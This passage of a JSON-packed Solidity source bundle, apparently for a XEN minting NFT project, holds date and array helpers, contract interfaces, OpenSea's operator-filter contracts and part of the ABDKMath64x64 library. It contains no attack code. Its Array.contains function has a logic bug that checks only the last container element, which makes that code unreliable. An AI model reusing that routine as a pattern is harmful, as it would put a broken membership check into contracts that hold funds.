- _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 